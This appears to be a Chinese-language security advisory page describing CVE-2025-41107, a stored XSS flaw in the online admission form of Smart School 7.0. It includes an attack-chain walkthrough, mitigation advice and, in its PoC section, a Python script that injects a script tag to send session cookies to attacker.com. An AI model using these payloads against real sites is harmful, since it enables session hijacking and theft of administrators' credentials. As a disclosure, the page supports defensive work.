IPBUF安全漏洞报告
English
CVE-2025-41107 CVSS 5.4 中危

CVE-2025-41107 Smart School 7.0 存储型XSS漏洞

披露日期: 2025-11-10

漏洞信息

漏洞编号
CVE-2025-41107
漏洞类型
存储型XSS (Stored Cross-Site Scripting)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Smart School 7.0

相关标签

CVE-2025-41107存储型XSS跨站脚本Smart SchoolWeb应用安全会话劫持INCIBE-CERTCVSS 5.4中危漏洞在线招生模块

漏洞概述

CVE-2025-41107是Smart School 7.0版本中存在的一个存储型跨站脚本(XSS)安全漏洞。该漏洞源于应用程序在处理用户输入时缺乏适当的验证和过滤机制。具体而言,当用户通过POST请求向'/online_admission'端点提交数据时,系统未能对'firstname'、'lastname'、'guardian_name'等多个参数进行严格的输入校验。攻击者可以利用这一漏洞注入恶意JavaScript代码,这些代码会被永久存储在服务器端。当其他认证用户访问包含恶意脚本的页面时,攻击payload会自动执行,从而实现会话cookie窃取、敏感信息获取或对用户浏览器进行进一步攻击等恶意行为。该漏洞需要低权限认证用户发起攻击,且需要目标用户进行一定的交互操作,CVSS评分5.4,属于中等严重程度。漏洞由INCIBE-CERT协调中心发现并披露。

技术细节

Smart School 7.0的在线招生模块存在存储型XSS漏洞。漏洞点位于'/online_admission'端点的POST请求处理逻辑中。系统在接收用户提交的表单数据(包括firstname、lastname、guardian_name等字段)时,直接将用户输入存储到数据库,而未进行充分的输入验证和输出编码。当管理员或其他用户查看这些数据时,恶意脚本会作为页面内容的一部分被浏览器解析执行。攻击者可以通过构造包含<script>标签或事件处理器(如onerror、onload)的payload来实现JavaScript代码执行。典型的攻击payload可能为:<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>。由于存储型XSS的持久性特点,攻击只需执行一次即可影响所有访问该页面内容的用户。攻击者通常利用社工手段诱导管理员或用户访问包含恶意内容的页面,从而窃取认证会话凭证。

攻击链分析

STEP 1
步骤1
攻击者登录Smart School系统,获取低权限用户账户
STEP 2
步骤2
攻击者构造包含恶意JavaScript代码的XSS payload
STEP 3
步骤3
通过POST请求向'/online_admission'端点提交招生表单,注入payload到firstname、lastname、guardian_name等字段
STEP 4
步骤4
恶意payload被存储到数据库中,由于缺乏输入验证,脚本代码被永久保存
STEP 5
步骤5
当管理员或其他授权用户访问招生数据查看页面时,包含恶意脚本的页面内容被加载
STEP 6
步骤6
用户浏览器解析执行恶意JavaScript代码,窃取当前用户的会话cookie并发送到攻击者控制的服务器
STEP 7
步骤7
攻击者利用窃取的session cookie劫持用户会话,执行进一步恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-41107 PoC - Smart School 7.0 Stored XSS # Target: /online_admission endpoint # Parameters: firstname, lastname, guardian_name TARGET_URL = "http://target-server/online_admission" USERNAME = "[email protected]" PASSWORD = "password123" def exploit(): """ Exploit Stored XSS in Smart School 7.0 online_admission module Payload injects JavaScript to steal session cookies """ # Login to get authenticated session session = requests.Session() login_data = { 'username': USERNAME, 'password': PASSWORD } # Create malicious XSS payload # This payload steals document.cookie and sends to attacker server xss_payload = '''<script>fetch('https://attacker.com/log?c='+btoa(document.cookie))</script>''' # Submit admission form with XSS payload exploit_data = { 'firstname': xss_payload, 'lastname': xss_payload, 'guardian_name': xss_payload, 'email': '[email protected]', 'phone': '1234567890' } try: # Send POST request with XSS payload response = session.post(TARGET_URL, data=exploit_data, timeout=10) if response.status_code == 200: print("[+] XSS payload submitted successfully!") print("[+] Payload stored in database") print("[+] When admin views admission data, cookie will be stolen") else: print("[-] Failed to submit payload") except requests.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": print("CVE-2025-41107 Smart School 7.0 Stored XSS Exploit") exploit()

影响范围

Smart School 7.0

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1) 临时禁用在线招生功能模块;2) 实施严格的输入验证规则,对特殊字符(<、>、'、"、script等)进行过滤或编码;3) 对数据库中已存储的数据进行清理,移除潜在的恶意脚本;4) 限制低权限用户访问敏感管理功能;5) 加强会话管理,实施HttpOnly和Secure标志保护cookie;6) 监控应用日志,及时发现异常请求模式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表